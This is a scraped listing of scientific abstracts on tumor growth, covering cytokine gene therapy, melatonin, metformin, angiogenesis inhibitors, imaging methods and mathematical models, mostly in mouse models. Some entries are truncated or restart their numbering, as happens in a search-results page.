ultrasound imaging an ideal tool for preclinical cancer research. 6. In vivo Cytokine Gene Transfer by Gene Gun Reduces Tumor Growth in Mice Science.gov (United States) Sun, Wenn H.; Burkholder, Joseph K.; Sun, Jian; Culp, Jerilyn; Turner, Joel; Lu, Xing G.; Pugh, Thomas D.; Ershler, William B.; Yang, Ning-Sun 1995-03-01 Implantation of tumor cells modified by in vitro cytokine gene transfer has been shown by many investigators to result in potent in vivo antitumor activities in mice. Here we describe an approach to tumor immunotherapy utilizing direct transfection of cytokine genes into tumorbearing animals by particle-mediated gene transfer. In vivo transfection of the human interleukin 6 gene into the tumor site reduced methylcholanthrene-induced fibrosarcoma growth, and a combination of murine tumor necrosis factor α and interferon γ genes inhibited growth of a renal carcinoma tumor model (Renca). In addition, treatment with murine interleukin 2 and interferon γ genes prolonged the survival of Renca tumor-bearing mice and resulted in tumor eradication in 25% of the test animals. Transgene expression was demonstrated in treated tissues by ELISA and immunohistochemical analysis. Significant serum levels of interleukin 6 and interferon γ were detected, demonstrating effective secretion of transgenic proteins from treated skin into the bloodstream. This in vivo cytokine gene therapy approach provides a system for evaluating the antitumor properties of various cytokines in different tumor models and has potential utility for human cancer gene therapy. 7. Contrast-enhancing tumor growth dynamics of preoperative, treatment-naive human glioblastoma. OpenAIRE Ellingson, BM; Nguyen, HN; Lai, A.(Sezione INFN di Cagliari, Cagliari, Italy); Nechifor, RE; Zaw, O; Pope, WB; Yong, WH; Nghiemphu, PL; Liau, LM; Cloughesy, TF 2016-01-01 Little is known about the natural growth characteristics of untreated glioblastoma before surgical or therapeutic intervention, because patients are rapidly treated after preliminary radiographic diagnosis. Understanding the growth characteristics of uninhibited human glioblastoma may be useful for characterizing changes in response to therapy. Thus, the objective of the current study was to explore tumor growth dynamics in a cohort of patients with untreated glioblastoma before surgical or t... 8. Effect of melatonin on tumor growth and angiogenesis in xenograft model of breast cancer. Directory of Open Access Journals (Sweden) Bruna Victorasso Jardim-Perassi Full Text Available As neovascularization is essential for tumor growth and metastasis, controlling angiogenesis is a promising tactic in limiting cancer progression. Melatonin has been studied for their inhibitory properties on angiogenesis in cancer. We performed an in vivo study to evaluate the effects of melatonin treatment on angiogenesis in breast cancer. Cell viability was measured by MTT assay after melatonin treatment in triple-negative breast cancer cells (MDA-MB-231. After, cells were implanted in athymic nude mice and treated with melatonin or vehicle daily, administered intraperitoneally 1 hour before turning the room light off. Volume of the tumors was measured weekly with a digital caliper and at the end of treatments animals underwent single photon emission computed tomography (SPECT with Technetium-99m tagged vascular endothelial growth factor (VEGF C to detect in vivo angiogenesis. In addition, expression of pro-angiogenic/growth factors in the tumor extracts was evaluated by membrane antibody array and collected tumor tissues were analyzed with histochemical staining. Melatonin in vitro treatment (1 mM decreased cell viability (p0.05 images. In addition, there was a decrease of micro-vessel density (Von Willebrand Factor in melatonin treated mice (p<0.05. However, semiquantitative densitometry analysis of membrane array indicated increased expression of epidermal growth factor receptor and insulin-like growth factor 1 in treated tumors compared to vehicle treated tumors (p<0.05. In conclusion, melatonin treatment showed effectiveness in reducing tumor growth and cell proliferation, as well as in the inhibition of angiogenesis. 9. Metformin blocks the stimulative effect of a high-energy diet on colon carcinoma growth in vivo and is associated with reduced expression of fatty acid synthase. Science.gov (United States) Algire, Carolyn; Amrein, Lilian; Zakikhani, Mahvash; Panasci, Lawrence; Pollak, Michael 2010-06-01 The molecular mechanisms responsible for the association of obesity with adverse colon cancer outcomes are poorly understood. We investigated the effects of a high-energy diet on growth of an in vivo colon cancer model. Seventeen days following the injection of 5x10(5) MC38 colon carcinoma cells, tumors from mice on the high-energy diet were approximately twice the volume of those of mice on the control diet. These findings were correlated with the observation that the high-energy diet led to elevated insulin levels, phosphorylated AKT, and increased expression of fatty acid synthase (FASN) by the tumor cells. Metformin, an antidiabetic drug, leads to the activation of AMPK and is currently under investigation for its antineoplastic activity. We observed that metformin blocked the effect of the high-energy diet on tumor growth, reduced insulin levels, and attenuated the effect of diet on phosphorylation of AKT and expression of FASN. Furthermore, the administration of metformin led to the activation of AMPK, the inhibitory phosphorylation of acetyl-CoA carboxylase, the upregulation of BNIP3 and increased apoptosis as estimated by poly (ADP-ribose) polymerase (PARP) cleavage. Prior work showed that activating mutations of PI3K are associated with increased AKT activation and adverse outcome in colon cancer; our results demonstrate that the aggressive tumor behavior associated with a high-energy diet has similar effects on this signaling pathway. Furthermore, metformin is demonstrated to reverse the effects of the high-energy diet, thus suggesting a potential role for this agent in the management of a metabolically defined subset of colon cancers. PMID:20228137 10. Blocking rpS6 Phosphorylation Exacerbates Tsc1 Deletion-Induced Kidney Growth. Science.gov (United States) Wu, Huijuan; Chen, Jianchun; Xu, Jinxian; Dong, Zheng; Meyuhas, Oded; Chen, Jian-Kang 2016-04-01 The molecular mechanisms underlying renal growth and renal growth-induced nephron damage remain poorly understood. Here, we report that in murine models, deletion of the tuberous sclerosis complex protein 1 (Tsc1) in renal proximal tubules induced strikingly enlarged kidneys, with minimal cystogenesis and occasional microscopic tumorigenesis. Signaling studies revealed hyperphosphorylation of eukaryotic translation initiation factor 4E-binding protein 1 (4E-BP1) and increased phosphorylation of ribosomal protein S6 (rpS6) in activated renal tubules. Notably, knockin of a nonphosphorylatable rpS6 in theseTsc1-mutant mice exacerbated cystogenesis and caused drastic nephron damage and renal fibrosis, leading to kidney failure and a premature death rate of 67% by 9 weeks of age. In contrast,Tsc1single-mutant mice were all alive and had far fewer renal cysts at this age. Mechanistic studies revealed persistent activation of mammalian target of rapamycin complex 1 (mTORC1) signaling causing hyperphosphorylation and consequent accumulation of 4E-BP1, along with greater cell proliferation, in the renal tubules ofTsc1andrpS6double-mutant mice. Furthermore, pharmacologic treatment ofTsc1single-mutant mice with rapamycin reduced hyperphosphorylation and accumulation of 4E-BP1 but also inhibited phosphorylation of rpS6. Rapamycin also exacerbated cystic and fibrotic lesions and impaired kidney function in these mice, consequently leading to a premature death rate of 40% within 2 weeks of treatment, despite destroying tumors and decreasing kidney size. These findings indicate that Tsc1 prevents aberrant renal growth and tumorigenesis by inhibiting mTORC1 signaling, whereas phosphorylated rpS6 suppresses cystogenesis and fibrosis inTsc1-deleted kidneys. PMID:26296742 11. Dioscin inhibits colon tumor growth and tumor angiogenesis through regulating VEGFR2 and AKT/MAPK signaling pathways Energy Technology Data Exchange (ETDEWEB) Tong, Qingyi [Regenerative Medicine Research Center, State Key Laboratory of Biotherapy and Cancer Center, West China Hospital, Sichuan University, Chengdu, Sichuan 610041 (China); Qing, Yong, E-mail: qingyongxy@yahoo.co.jp [Department of Pharmacology, West China School of Pharmacy, Sichuan University, Chengdu, Sichuan 610041 (China); Wu, Yang [State Key Laboratory of Biotherapy and Cancer Center, West China Hospital, Sichuan University, Chengdu, Sichuan 610041 (China); Hu, Xiaojuan; Jiang, Lei [Department of Pharmacology, West China School of Pharmacy, Sichuan University, Chengdu, Sichuan 610041 (China); Wu, Xiaohua, E-mail: wuxh@scu.edu.cn [Regenerative Medicine Research Center, State Key Laboratory of Biotherapy and Cancer Center, West China Hospital, Sichuan University, Chengdu, Sichuan 610041 (China) 2014-12-01 Dioscin has shown cytotoxicity against cancer cells, but its in vivo effects and the mechanisms have not elucidated yet. The purpose of the current study was to assess the antitumor effects and the molecular mechanisms of dioscin. We showed that dioscin could inhibit tumor growth in vivo and has no toxicity at the test condition. The growth suppression was accompanied by obvious blood vessel decrease within solid tumors. We also found dioscin treatment inhibited the proliferation of cancer and endothelial cell lines, and most sensitive to primary cultured human umbilical vein endothelial cells (HUVECs). What's more, analysis of HUVECs migration, invasion, and tube formation exhibited that dioscin has significantly inhibitive effects to these actions. Further analysis of blood vessel formation in the matrigel plugs indicated that dioscin could inhibit VEGF-induced blood vessel formation in vivo. We also identified that dioscin could suppress the downstream protein kinases of VEGFR2, including Src, FAK, AKT and Erk1/2, accompanied by the increase of phosphorylated P38MAPK. The results potently suggest that dioscin may be a potential anticancer drug, which efficiently inhibits angiogenesis induced by VEGFR2 signaling pathway as well as AKT/MAPK pathways. - Highlights: • Dioscin inhibits tumor growth in vivo and does not exhibit any toxicity. • Dioscin inhibits angiogenesis within solid tumors. • Dioscin inhibits the proliferation, migration, invasion, and tube formation of HUVECs. • Dioscin inhibits VEGF–induced blood vessel formation in vivo. • Dioscin inhibits VEGFR2 signaling pathway as well as AKT/MAPK pathway. 12. Angiostatin and endostatin: endogenous inhibitors of tumor growth. Science.gov (United States) Sim, B K; MacDonald, N J; Gubish, E R 2000-01-01 Considerable progress has been made in the understanding of the molecular structure and mechanistic aspects of Angiostatin and Endostatin, endogenous angiogenesis inhibitors that have been shown to regress tumors in murine models. The growing body of literature surrounding these molecules and on the efficacy of these proteins is in part due to the ability to generate these proteins in recombinant systems as well characterized molecules. Recombinant human Angiostatin and Endostatin are in Phase I trials, following the manufacture of clinical grade material at large scale. This review highlights the recent advances made on understanding the structure and function of Angiostatin and Endostatin. PMID:11191058 13. The Characteristics of Vascular Growth in VX2 Tumor Measured by MRI and Micro-CT Directory of Open Access Journals (Sweden) X.-L. Qi 2012-01-01 Full Text Available Blood supply is crucial for rapid growth of a malignant tumor; medical imaging can play an important role in evaluating the vascular characterstics of tumors. Magnetic resonance imaging (MRI and micro-computed tomography (CT are able to detect tumors and measure blood volumes of microcirculation in tissue. In this study, we used MR imaging and micro-CT to assess the microcirculation in a VX2 tumor model in rabbits. MRI characterization was performed using the intravascular contrast agent Clariscan (NC100150-Injection; micro-CT with Microfil was used to directly depict blood vessels with diameters as low as 17 um in tissue. Relative blood volume fraction (rBVF in the tumor rim and blood vessel density (rBVD over the whole tumor was calculated using the two imaging methods. Our study indicates that rBVF is negatively related to the volume of the tumor measured by ultrasound (R=0.90. rBVF in the tissue of a VX2 tumor measured by MRI in vivo was qualitatively consistent with the rBVD demonstrated by micro-CT in vitro (R=0.97. The good correlation between the two methods indicates that MRI studies are potentially valuable for assessing characteristics or tumor vascularity and for assessing response to therapy noninvasively. 14. A Comparison of Imaging Techniques to Monitor Tumor Growth and Cancer Progression in Living Animals Directory of Open Access Journals (Sweden) Anne-Laure Puaux 2011-01-01 Full Text Available Introduction and Purpose. Monitoring solid tumor growth and metastasis in small animals is important for cancer research. Noninvasive techniques make longitudinal studies possible, require fewer animals, and have greater statistical power. Such techniques include FDG positron emission tomography (FDG-PET, magnetic resonance imaging (MRI, and optical imaging, comprising bioluminescence imaging (BLI and fluorescence imaging (FLI. This study compared the performance and usability of these methods in the context of mouse tumor studies. Methods. B16 tumor-bearing mice (n=4 for each study were used to compare practicality, performance for small tumor detection and tumor burden measurement. Using RETAAD mice, which develop spontaneous melanomas, we examined the performance of MRI (n=6 mice and FDG-PET (n=10 mice for tumor identification. Results. Overall, BLI and FLI were the most practical techniques tested. Both BLI and FDG-PET identified small nonpalpable tumors, whereas MRI and FLI only detected macroscopic, clinically evident tumors. FDG-PET and MRI performed well in the identification of tumors in terms of specificity, sensitivity, and positive predictive value. Conclusion. Each of the four methods has different strengths that must be understood before selecting them for use. 15. Monitoring Prostate Tumor Growth in an Orthotopic Mouse Model Using Three-Dimensional Ultrasound Imaging Technique Directory of Open Access Journals (Sweden) Jie Ni 2016-02-01 Full Text Available Prostate cancer (CaP is the most commonly diagnosed and the second leading cause of death from cancer in males in USA. Prostate orthotopic mouse model has been widely used to study human CaP in preclinical settings. Measurement of changes in tumor size obtained from noninvasive diagnostic images is a standard method for monitoring responses to anticancer modalities. This article reports for the first time the usage of a three-dimensional (3D ultrasound system equipped with photoacoustic (PA imaging in monitoring longitudinal prostate tumor growth in a PC-3 orthotopic NODSCID mouse model (n = 8. Two-dimensional and 3D modes of ultrasound show great ability in accurately depicting the size and shape of prostate tumors. PA function on two-dimensional and 3D images showed average oxygen saturation and average hemoglobin concentration of the tumor. Results showed a good fit in representative exponential tumor growth curves (n = 3; r2 = 0.948, 0.955, and 0.953, respectively and a good correlation of tumor volume measurements performed in vivo with autopsy (n = 8, r = 0.95, P < .001. The application of 3D ultrasound imaging proved to be a useful imaging modality in monitoring tumor growth in an orthotopic mouse model, with advantages such as high contrast, uncomplicated protocols, economical equipment, and nonharmfulness to animals. PA mode also enabled display of blood oxygenation surrounding the tumor and tumor vasculature and angiogenesis, making 3D ultrasound imaging an ideal tool for preclinical cancer research. 16. Stochastic fluctuation induced the competition between extinction and recurrence in a model of tumor growth Energy Technology Data Exchange (ETDEWEB) Li, Dongxi, E-mail: lidongxi@yahoo.cn [Department of Applied Mathematics, Northwestern Polytechnical University, Xi' an, 710072 (China); Xu, Wei; Sun, Chunyan; Wang, Liang [Department of Applied Mathematics, Northwestern Polytechnical University, Xi' an, 710072 (China) 2012-04-30 We investigate the phenomenon that stochastic fluctuation induced the competition between tumor extinction and recurrence in the model of tumor growth derived from the catalytic Michaelis–Menten reaction. We analyze the probability transitions between the extinction state and the state of the stable tumor by the Mean First Extinction Time (MFET) and Mean First Return Time (MFRT). It is found that the positional fluctuations hinder the transition, but the environmental fluctuations, to a certain level, facilitate the tumor extinction. The observed behavior could be used as prior information for the treatment of cancer. -- Highlights: ► Stochastic fluctuation induced the competition between extinction and recurrence. ► The probability transitions are investigated. ► The positional fluctuations hinder the transition. ► The environmental fluctuations, to a certain level, facilitate the tumor extinction. ► The observed behavior can be used as prior information for the treatment of cancer. 17. PI3K/Akt signaling mediated Hexokinase-2 expression inhibits cell apoptosis and promotes tumor growth in pediatric osteosarcoma Energy Technology Data Exchange (ETDEWEB) Zhuo, Baobiao; Li, Yuan; Li, Zhengwei; Qin, Haihui; Sun, Qingzeng; Zhang, Fengfei; Shen, Yang; Shi, Yingchun [Department of Surgery, The Children' s Hospital of Xuzhou, Xuzhou, Jiangsu Province 221006 (China); Wang, Rong, E-mail: wangrong2008163@163.com [Department of Ultrasonography, Affiliated Hospital of Xuzhou Medical College, Xuzhou, Jiangsu Province 221006 (China) 2015-08-21 Accumulating evidence has shown that PI3K/Akt pathway is frequently hyperactivated in osteosarcoma (OS) and contributes to tumor initiation and progression. Altered phenotype of glucose metabolism is a key hallmark of cancer cells including OS. However, the relationship between PI3K/Akt pathway and glucose metabolism in OS remains largely unexplored. In this study, we showed that elevated Hexokinase-2 (HK2) expression, which catalyzes the first essential step of glucose metabolism by conversion of glucose into glucose-6-phosphate, was induced by activated PI3K/Akt signaling. Immunohistochemical analysis showed that HK2 was overexpressed in 83.3% (25/30) specimens detected and was closely correlated with Ki67, a cell proliferation index. Silencing of endogenous HK2 resulted in decreased aerobic glycolysis as demonstrated by reduced glucose consumption and lactate production. Inhibition of PI3K/Akt signaling also suppressed aerobic glycolysis and this effect can be reversed by reintroduction of HK2. Furthermore, knockdown of HK2 led to increased cell apoptosis and reduced ability of colony formation; meanwhile, these effects were blocked by 2-Deoxy-D-glucose (2-DG), a glycolysis inhibitor through its actions on hexokinase, indicating that HK2 functions in cell apoptosis and growth were mediated by altered aerobic glycolysis. Taken together, our study reveals a novel relationship between PI3K/Akt signaling and aerobic glycolysis and indicates that PI3K/Akt/HK2 might be potential therapeutic approaches for OS. - Highlights: • PI3K/Akt signaling contributes to elevated expression of HK2 in osteosarcoma. • HK2 inhibits cell apoptosis and promotes tumor growth through enhanced Warburg effect. • Inhibition of glycolysis blocks the oncogenic activity of HK2. 18. The growth dynamics of tumor subject to both immune surveillance and external therapy intervention Institute of Scientific and Technical Information of China (English) SHAO YuanZhi; ZHONG WeiRong; WANG FengHua; HE ZhenHui; XIA ZhongJun 2007-01-01 Considering the growth of tumor cells modeled by an enzyme dynamic process under an immune surveillance,we studied in anti-tumor immunotherapy the single-variable growth dynamics of tumor cells subject to a multiplicative noise and an external therapy intervention simultaneously.The law of tumor growth of the above anti-tumor immunotherapy model was revealed through numerical simulaions to the relevant stochastic dynamic differential equation.Two simulative parameters of therapy,i.e.,therapy intensity and therapy duty-cycle,were introduced to characterize a treatment process similar to a tumor clinic therapy.There exists a critical therapy boundary which,in an exponent-decaying form,divides the parameter region of therapy into an invalid and a valid treatment zone,respectively.A greater critical therapy duty-cycle is necessary to achieve a valid treatment for a lower therapy intensity while the critical therapy intensity decreases accordingly with an enhancing immunity. primary clinic observation of the patients with the typical non-hodgekin's lymphoma was carried out,and there appears a basic agreement between clinic observations and dynamic simulations. 19. A chemical energy approach of avascular tumor growth: multiscale modeling and qualitative results. Science.gov (United States) Ampatzoglou, Pantelis; Dassios, George; Hadjinicolaou, Maria; Kourea, Helen P; Vrahatis, Michael N 2015-01-01 In the present manuscript we propose a lattice free multiscale model for avascular tumor growth that takes into account the biochemical environment, mitosis, necrosis, cellular signaling and cellular mechanics. This model extends analogous approaches by assuming a function that incorporates the biochemical energy level of the tumor cells and a mechanism that simulates the behavior of cancer stem cells. Numerical simulations of the model are used to investigate the morphology of the tumor at the avascular phase. The obtained results show similar characteristics with those observed in clinical data in the case of the Ductal Carcinoma In Situ (DCIS) of the breast. PMID:26558163 20. Effects of modified fractionated irradiation on the growth of sarcoma 180 solid tumor in mouse International Nuclear Information System (INIS) 1. PEGylated PLGA Nanoparticles as Tumor Ecrosis Factor-α Receptor Blocking Peptide Carriers: Preparation,Characterization and Release in vitro Institute of Scientific and Technical Information of China (English) LIU Wei; YANG Anshu; LI Zhuoya; XU Huibi; YANG Xiangliang 2007-01-01 To assess the merits of PEGylated poly (lactic-co-glycolic acid) (PEG-PLGA) nanoparticles as drug carriers for tumor necrosis factor-α receptor blocking peptide (TNFR-BP), PEG-PLGA copolymer,which could be used to prepare the stealth nanoparticles, was synthesized with methoxypolyethyleneglycol,DL-lactide and glycolide. The structure of PEG-PLGA was confirmed with 1H-NMR and FT-IR spectroscopy,and the molecular weight (MW) was determined by gel permeation chromatography. Fluorescent FITC-TNFR-BP was chosen as model protein and encapsulated within PEG-PLGA nanoparticles using the double emulsion method. Atomic force microscopy and photon correlation spectroscopy were employed to characterize the stealth nanoparticles fabricated for morphology, size with polydispersity index and zeta potential. Encapsulation efficiency (EE) and the release of FITC-TNFR-BP in nanoparticles in vitro were measured by the fluorescence measurement. The stealth nanoparticles were found to have the mean diameter less than 270 nm and zeta potential less than-20 mV. In all nanoparticle formulations, more than 45% of EE were obtained. FITC-TNFR-BP release from the PEG-PLGA nanoparticles exhibited a biphasic pattern, initial burst release and consequently sustained release. The experimental results show that PEG-PLGA nanoparticles possess the potential to develop as drug carriers for controlled release applications of TNFR-BP. 2. Expression of Vascular Endothelial Growth Factor-C and Vascular Endothelial Growth Factor Receptor-3 in Ovarian Epithelial Tumors Institute of Scientific and Technical Information of China (English) FU Xiao-yan; DING Ming-xing; ZHANG Ning; LIN Xing-qiu; LI Ji-cheng 2007-01-01 Objective: To explore the role of vascular endothelial growth factor-C (VEGF-C) in the process of angiogenesis, lymphangiogenesis and lymphatic metastasis in epithelial ovarian tumors. Methods: In situ hybridization and immunohistochemical staining for VEGF-C were performed in 30 epithelial ovarian carcinomas, 9 borderline tumors and 26 benign tumors. Endothelial cells were immunostained with anti-VEGFR-3 pAb and anti-CD31 mAb, and VEGFR-3 positive vessels and microvessel density (MVD) were assessed by image analysis. Results: VEGF-C mRNA and protein expression were detected in cytoplasm of carcinoma cells. VEGF-C mRNA and protein expression in ovarian epithelial carcinomas were significantly higher than those in borderline tumors and benign tumors (P<0.05 or P<0.01). In ovarian epithelial carcinomas, VEGF-C protein expression, VEGFR-3 positive vessels and MVD were significantly higher in the cases of clinical stage Ⅲ-Ⅳ and with lymph node metastasis than those of clinical stage Ⅰ-Ⅱ and without lymph node metastasis respectively (P<0.05 or P<0.01). VEGFR-3 positive vessels and MVD were significantly higher in VEGF-C protein positive tumors than negative tumors (P<0.05). VEGFR-3 positive vessels was significantly correlated with MVD(P<0.01). Conclusion: VEGF-C might play a role in lymphatic metastasis via lymphangiogenesis and angiogenesis in epithelial ovarian tumors, and VBEGF-C could be used as a biologic marker of metastasis in ovarian epithelial tumors. 3. CUEDC2 down-regulation is associated with tumor growth and poor prognosis in lung adenocarcinoma. Science.gov (United States) Sun, Longhua; Bai, Lihong; Lin, Gengpeng; Wang, Ran; Liu, Yangli; Cai, Jinghuang; Guo, Yubiao; Zhu, Zhiwen; Xie, Canmao 2015-08-21 CUE domain-containing 2 (CUEDC2) is a multi-functional protein, which regulates cell cycle, growth factor signaling and inflammation. We found that CUEDC2 was low in lung adenocarcinoma cell lines and lung adenocarcinoma tissues at both mRNA and protein levels. Low levels of CUEDC2 were correlated with a shorter survival time in patients with lung adenocarcinoma (p = 0.004). CUEDC2 expression was correlated with tumor T classification (P = 0.001) at clinical stage (P = 0.001) and tumor size (P = 0.033). Multivariate analysis suggested that CUEDC2 expression is an independent prognostic indicator for patients with lung adenocarcinoma. Ectopic expression of CUEDC2 decreased cell proliferation in vitro and inhibited tumor growth in nude mice in vivo. Knockdown of endogenous CUEDC2 by short hairpin RNAs (shRNAs) increased tumor growth. Inhibition of proliferation by CUEDC2 was associated with inactivation of the PI3K/Akt pathway, induction of p21 and down-regulation of cyclin D1. Our results suggest that decreased expression of CUEDC2 contributes to tumor growth in lung adenocarcinoma, leading to a poor clinical outcome. 4. Luciferase expression and bioluminescence does not affect tumor cell growth in vitro or in vivo Directory of Open Access Journals (Sweden) 2010-11-01 Full Text Available Abstract Live animal imaging is becoming an increasingly common technique for accurate and quantitative assessment of tumor burden over time. Bioluminescence imaging systems rely on a bioluminescent signal from tumor cells, typically generated from expression of the firefly luciferase gene. However, previous reports have suggested that either a high level of luciferase or the resultant light reaction produced upon addition of D-luciferin substrate can have a negative influence on tumor cell growth. To address this issue, we designed an expression vector that allows simultaneous fluorescence and luminescence imaging. Using fluorescence activated cell sorting (FACS, we generated clonal cell populations from a human breast cancer (MCF-7 and a mouse melanoma (B16-F10 cell line that stably expressed different levels of luciferase. We then compared the growth capabilities of these clones in vitro by MTT proliferation assay and in vivo by bioluminescence imaging of tumor growth in live mice. Surprisingly, we found that neither the amount of luciferase nor biophotonic activity was sufficient to inhibit tumor cell growth, in vitro or in vivo. These results suggest that luciferase toxicity is not a necessary consideration when designing bioluminescence experiments, and therefore our approach can be used to rapidly generate high levels of luciferase expression for sensitive imaging experiments. 5. Cancer Stem Cell Plasticity as Tumor Growth Promoter and Catalyst of Population Collapse Directory of Open Access Journals (Sweden) Jan Poleszczuk 2016-01-01 Full Text Available It is increasingly argued that cancer stem cells are not a cellular phenotype but rather a transient state that cells can acquire, either through intrinsic signaling cascades or in response to environmental cues. While cancer stem cell plasticity is generally associated with increased aggressiveness and treatment resistance, we set out to thoroughly investigate the impact of different rates of plasticity on early and late tumor growth dynamics and the response to therapy. We develop an agent-based model of cancer stem cell driven tumor growth, in which plasticity is defined as a spontaneous transition between stem and nonstem cancer cell states. Simulations of the model show that plasticity can substantially increase tumor growth rate and invasion. At high rates of plasticity, however, the cells get exhausted and the tumor will undergo spontaneous remission in the long term. In a series of in silico trials, we show that such remission can be facilitated through radiotherapy. The presented study suggests that stem cell plasticity has rather complex, nonintuitive implications on tumor growth and treatment response. Further theoretical, experimental, and integrated studies are needed to fully decipher cancer stem cell plasticity and how it can be harnessed for novel therapeutic approaches. 6. Extracellular Superoxide Dismutase: Growth Promoter or Tumor Suppressor? Directory of Open Access Journals (Sweden) Mikko O. Laukkanen 2016-01-01 Full Text Available Extracellular superoxide dismutase (SOD3 gene transfer to tissue damage results in increased healing, increased cell proliferation, decreased apoptosis, and decreased inflammatory cell infiltration. At molecular level, in vivo SOD3 overexpression reduces superoxide anion (O2- concentration and increases mitogen kinase activation suggesting that SOD3 could have life-supporting characteristics. The hypothesis is further strengthened by the observations showing significantly increased mortality in conditional knockout mice. However, in cancer SOD3 has been shown to either increase or decrease cell proliferation and survival depending on the model system used, indicating that SOD3-derived growth mechanisms are not completely understood. In this paper, the author reviews the main discoveries in SOD3-dependent growth regulation and signal transduction. 7. Dynamic density functional theory of solid tumor growth: Preliminary models OpenAIRE Arnaud Chauviere; Haralambos Hatzikirou; Kevrekidis, Ioannis G.; Lowengrub, John S.; Vittorio Cristini 2012-01-01 Cancer is a disease that can be seen as a complex system whose dynamics and growth result from nonlinear processes coupled across wide ranges of spatio-temporal scales. The current mathematical modeling literature addresses issues at various scales but the development of theoretical methodologies capable of bridging gaps across scales needs further study. We present a new theoretical framework based on Dynamic Density Functional Theory (DDFT) extended, for the first time, to the dynamics of l... 8. Depletion of tumor associated macrophages slows the growth of chemically-induced mouse lung adenocarcinomas Directory of Open Access Journals (Sweden) Jason M. Fritz 2014-11-01 Full Text Available Chronic inflammation is a risk factor for lung cancer, and low dose aspirin intake reduces lung cancer risk. However, the roles that specific inflammatory cells and their products play in lung carcinogenesis have yet to be fully elucidated. In mice, alveolar macrophage numbers increase as lung tumors progress, and pulmonary macrophage programming changes within 2 weeks of carcinogen exposure. To examine how macrophages specifically affect lung tumor progression, they were depleted in mice bearing urethane-induced lung tumors using clodronate-encapsulated liposomes. Alveolar macrophage populations decreased to ≤ 50% of control levels after 4-6 weeks of liposomal clodronate treatment. Tumor burden decreased by 50% compared to vehicle treated mice, and tumor cell proliferation, as measured by Ki67 staining, was also attenuated. Pulmonary fluid levels of IGF-I, CXCL1, IL-6 and CCL2 diminished with clodronate liposome treatment. Tumor associated macrophages expressed markers of both M1 and M2 programming in vehicle and clodronate liposome treated mice. Mice lacking CCR2 (the receptor for macrophage chemotactic factor CCL2 had comparable numbers of alveolar macrophages and showed no difference in tumor growth rates when compared to similarly treated wild-type mice suggesting that while CCL2 may recruit macrophages to lung tumor microenvironments, redundant pathways can compensate when CCL2/CCR2 signaling is inactivated. Depletion of pulmonary macrophages rather than inhibition of their recruitment may be an advantageous strategy for attenuating lung cancer progression. 9. Ecto-5'-Nucleotidase Overexpression Reduces Tumor Growth in a Xenograph Medulloblastoma Model. Directory of Open Access Journals (Sweden) Angélica R Cappellari Full Text Available Ecto-5'-nucleotidase/CD73 (ecto-5'-NT participates in extracellular ATP catabolism by converting adenosine monophosphate (AMP into adenosine. This enzyme affects the progression and invasiveness of different tumors. Furthermore, the expression of ecto-5'-NT has also been suggested as a favorable prognostic marker, attributing to this enzyme contradictory functions in cancer. Medulloblastoma (MB is the most common brain tumor of the cerebellum and affects mainly children.The effects of ecto-5'-NT overexpression on human MB tumor growth were studied in an in vivo model. Balb/c immunodeficient (nude 6 to 14-week-old mice were used for dorsal subcutaneous xenograph tumor implant. Tumor development was evaluated by pathophysiological analysis. In addition, the expression patterns of adenosine receptors were verified.The human MB cell line D283, transfected with ecto-5'-NT (D283hCD73, revealed reduced tumor growth compared to the original cell line transfected with an empty vector. D283hCD73 generated tumors with a reduced proliferative index, lower vascularization, the presence of differentiated cells and increased active caspase-3 expression. Prominent A1 adenosine receptor expression rates were detected in MB cells overexpressing ecto-5'-NT.This work suggests that ecto-5'-NT promotes reduced tumor growth to reduce cell proliferation and vascularization, promote higher differentiation rates and initiate apoptosis, supposedly by accumulating adenosine, which then acts through A1 adenosine receptors. Therefore, ecto-5'-NT might be considered an important prognostic marker, being associated with good prognosis and used as a potential target for therapy. 10. Circadian disruption accelerates tumor growth and angio/stromagenesis through a Wnt signaling pathway. Directory of Open Access Journals (Sweden) Yoshihiro Yasuniwa Full Text Available Epidemiologic studies show a high incidence of cancer in shift workers, suggesting a possible relationship between circadian rhythms and tumorigenesis. However, the precise molecular mechanism played by circadian rhythms in tumor progression is not known. To identify the possible mechanisms underlying tumor progression related to circadian rhythms, we set up nude mouse xenograft models. HeLa cells were injected in nude mice and nude mice were moved to two different cases, one case is exposed to a 24-hour light cycle (L/L, the other is a more "normal" 12-hour light/dark cycle (L/D. We found a significant increase in tumor volume in the L/L group compared with the L/D group. In addition, tumor microvessels and stroma were strongly increased in L/L mice. Although there was a hypervascularization in L/L tumors, there was no associated increase in the production of vascular endothelial cell growth factor (VEGF. DNA microarray analysis showed enhanced expression of WNT10A, and our subsequent study revealed that WNT10A stimulates the growth of both microvascular endothelial cells and fibroblasts in tumors from light-stressed mice, along with marked increases in angio/stromagenesis. Only the tumor stroma stained positive for WNT10A and WNT10A is also highly expressed in keloid dermal fibroblasts but not in normal dermal fibroblasts indicated that WNT10A may be a novel angio/stromagenic growth factor. These findings suggest that circadian disruption induces the progression of malignant tumors via a Wnt signaling pathway. 11. Characterization of inhibitory anti-insulin-like growth factor receptor antibodies with different epitope specificity and ligand-blocking properties: implications for mechanism of action in vivo. Science.gov (United States) Doern, Adam; Cao, Xianjun; Sereno, Arlene; Reyes, Christopher L; Altshuler, Angelina; Huang, Flora; Hession, Cathy; Flavier, Albert; Favis, Michael; Tran, Hon; Ailor, Eric; Levesque, Melissa; Murphy, Tracey; Berquist, Lisa; Tamraz, Susan; Snipas, Tracey; Garber, Ellen; Shestowsky, William S; Rennard, Rachel; Graff, Christilyn P; Wu, Xiufeng; Snyder, William; Cole, Lindsay; Gregson, David; Shields, Michael; Ho, Steffan N; Reff, Mitchell E; Glaser, Scott M; Dong, Jianying; Demarest, Stephen J; Hariharan, Kandasamy 2009-04-10 Therapeutic antibodies directed against the type 1 insulin-like growth factor receptor (IGF-1R) have recently gained significant momentum in the clinic because of preliminary data generated in human patients with cancer. These antibodies inhibit ligand-mediated activation of IGF-1R and the resulting down-stream signaling cascade. Here we generated a panel of antibodies against IGF-1R and screened them for their ability to block the binding of both IGF-1 and IGF-2 at escalating ligand concentrations (>1 microm) to investigate allosteric versus competitive blocking mechanisms. Four distinct inhibitory classes were found as follows: 1) allosteric IGF-1 blockers, 2) allosteric IGF-2 blockers, 3) allosteric IGF-1 and IGF-2 blockers, and 4) competitive IGF-1 and IGF-2 blockers. The epitopes of representative antibodies from each of these classes were mapped using a purified IGF-1R library containing 64 mutations. Most of these antibodies bound overlapping surfaces on the cysteine-rich repeat and L2 domains. One class of allosteric IGF-1 and IGF-2 blocker was identified that bound a separate epitope on the outer surface of the FnIII-1 domain. Using various biophysical techniques, we show that the dual 